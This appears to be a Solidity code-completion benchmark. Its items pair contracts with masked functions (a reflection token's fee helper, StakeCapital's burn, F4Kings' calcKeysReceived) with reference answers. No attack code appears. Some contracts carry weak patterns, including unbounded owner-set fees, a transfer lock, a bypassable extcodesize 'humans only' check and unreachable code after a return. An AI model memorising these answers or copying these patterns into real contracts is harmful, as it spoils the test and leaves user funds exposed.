_maxTxAmount, "Transfer amount exceeds the maxTxAmount."); //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (TValues memory tValues, RValues memory rValues) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rValues.rAmount); _rOwned[recipient] = _rOwned[recipient].add(rValues.rTransferAmount); _reflectFee(rValues.rFee, rValues.rBurn, tValues.tFee, tValues.tBurn); emit Transfer(sender, recipient, tValues.tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (TValues memory tValues, RValues memory rValues) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rValues.rAmount); _tOwned[recipient] = _tOwned[recipient].add(tValues.tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rValues.rTransferAmount); _reflectFee(rValues.rFee, rValues.rBurn, tValues.tFee, tValues.tBurn); emit Transfer(sender, recipient, tValues.tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (TValues memory tValues, RValues memory rValues) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rValues.rAmount); _rOwned[recipient] = _rOwned[recipient].add(rValues.rTransferAmount); _reflectFee(rValues.rFee, rValues.rBurn, tValues.tFee, tValues.tBurn); emit Transfer(sender, recipient, tValues.tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (TValues memory tValues, RValues memory rValues) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rValues.rAmount); _tOwned[recipient] = _tOwned[recipient].add(tValues.tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rValues.rTransferAmount); _reflectFee(rValues.rFee, rValues.rBurn, tValues.tFee, tValues.tBurn); emit Transfer(sender, recipient, tValues.tTransferAmount); } <FILL_FUNCTION> function _getValues(uint256 tAmount) private view returns (TValues memory tValues, RValues memory rValues) { tValues = _getTValues(tAmount); rValues = _getRValues(tAmount,tValues); } function _getTValues(uint256 tAmount) private view returns (TValues memory values) { values.tFee = calculateTaxFee(tAmount); values.tBurn = calculateBurnFee(tAmount); values.tTransferAmount = tAmount.sub(values.tFee).sub(values.tBurn); } function _getRValues(uint256 tAmount, TValues memory tValues) private view returns (RValues memory values) { values.rate = _getRate(); values.rAmount = tAmount.mul(values.rate); values.rFee = tValues.tFee.mul(values.rate); values.rBurn = tValues.tBurn.mul(values.rate); values.rTransferAmount = values.rAmount.sub(values.rFee).sub(values.rBurn); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateBurnFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_burnFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _burnFee == 0) return; _previousTaxFee = _taxFee; _previousBurnFee = _burnFee; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _burnFee = _previousBurnFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setBurnFeePercent(uint256 burnFee) external onlyOwner() { _burnFee = burnFee; } function setMaxTxPercent(uint256 maxTxPercent, uint256 maxTxDecimals) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**(uint256(maxTxDecimals) + 2) ); } function setIsTransferLocked(bool enabled) public onlyOwner { isTransferLocked = enabled; } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} }
_rTotal = _rTotal.sub(rFee).sub(rBurn); _tFeeTotal = _tFeeTotal.add(tFee); _tBurnTotal = _tBurnTotal.add(tBurn); _tTotal = _tTotal.sub(tBurn);
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private
68346
StakeCapital
burn
contract StakeCapital is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "Stake Capital"; string public constant symbol = "STAKE"; uint public constant decimals = 18; uint256 public totalSupply = 70000e18; uint256 public totalDistributed = 0; uint256 public totalRemaining = totalSupply.sub(totalDistributed); uint256 public value; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function yLand () public { owner = msg.sender; value = 0; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); totalRemaining = totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); Distr(_to, _amount); Transfer(address(0), _to, _amount); return true; if (totalDistributed >= totalSupply) { distributionFinished = true; } } function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { amounts[i]=amounts[i].mul(1e18); require(amounts[i] <= totalRemaining); distr(addresses[i], amounts[i]); if (totalDistributed >= totalSupply) { distributionFinished = true; } } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function burn(uint256 _value) onlyOwner public {<FILL_FUNCTION_BODY> } }
contract StakeCapital is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "Stake Capital"; string public constant symbol = "STAKE"; uint public constant decimals = 18; uint256 public totalSupply = 70000e18; uint256 public totalDistributed = 0; uint256 public totalRemaining = totalSupply.sub(totalDistributed); uint256 public value; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function yLand () public { owner = msg.sender; value = 0; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); totalRemaining = totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); Distr(_to, _amount); Transfer(address(0), _to, _amount); return true; if (totalDistributed >= totalSupply) { distributionFinished = true; } } function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { amounts[i]=amounts[i].mul(1e18); require(amounts[i] <= totalRemaining); distr(addresses[i], amounts[i]); if (totalDistributed >= totalSupply) { distributionFinished = true; } } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } <FILL_FUNCTION> }
_value=_value.mul(1e18); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which should be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); Burn(burner, _value);
function burn(uint256 _value) onlyOwner public
function burn(uint256 _value) onlyOwner public
7826
F4Kings
calcKeysReceived
contract F4Kings is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xf626967fA13d841fd74D49dEe9bDd0D0dD6C4394); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== address private admin = msg.sender; address private shareCom = 0x431C4354dB7f2b9aC1d9B2019e925C85C725DA5c; string constant public name = "f4kings"; string constant public symbol = "f4kings"; uint256 private rndExtra_ = 0; // length of the very first ICO uint256 private rndGap_ = 2 minutes; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 24 hours; // round timer starts at this uint256 constant private rndInc_ = 20 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 24 hours; // max length a round timer can be uint256 constant private rndLimit_ = 3; // limit rnd eth purchase //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages // (F3D) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = F3Ddatasets.TeamFee(22,0); //48% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot fees_[1] = F3Ddatasets.TeamFee(32,0); //38% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot fees_[2] = F3Ddatasets.TeamFee(52,0); //18% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot fees_[3] = F3Ddatasets.TeamFee(42,0); //28% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot // how to split up the final pot based on which team was picked // (F3D) potSplit_[0] = F3Ddatasets.PotSplit(42,0); //48% to winner, 0% to next round, 10% to com potSplit_[1] = F3Ddatasets.PotSplit(34,0); //48% to winner, 8% to next round, 10% to com potSplit_[2] = F3Ddatasets.PotSplit(18,0); //48% to winner, 24% to next round, 10% to com potSplit_[3] = F3Ddatasets.PotSplit(26,0); //48% to winner, 16% to next round, 10% to com } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; uint256 _withdrawFee; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) { //10% trade tax _withdrawFee = _eth / 10; uint256 _p1 = _withdrawFee.mul(65) / 100; uint256 _p2 = _withdrawFee.mul(35) / 100; shareCom.transfer(_p1); admin.transfer(_p2); plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee)); } // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) { //10% trade tax _withdrawFee = _eth / 10; _p1 = _withdrawFee.mul(65) / 100; _p2 = _withdrawFee.mul(35) / 100; shareCom.transfer(_p1); admin.transfer(_p2); plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee)); } // fire withdraw event emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 100000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 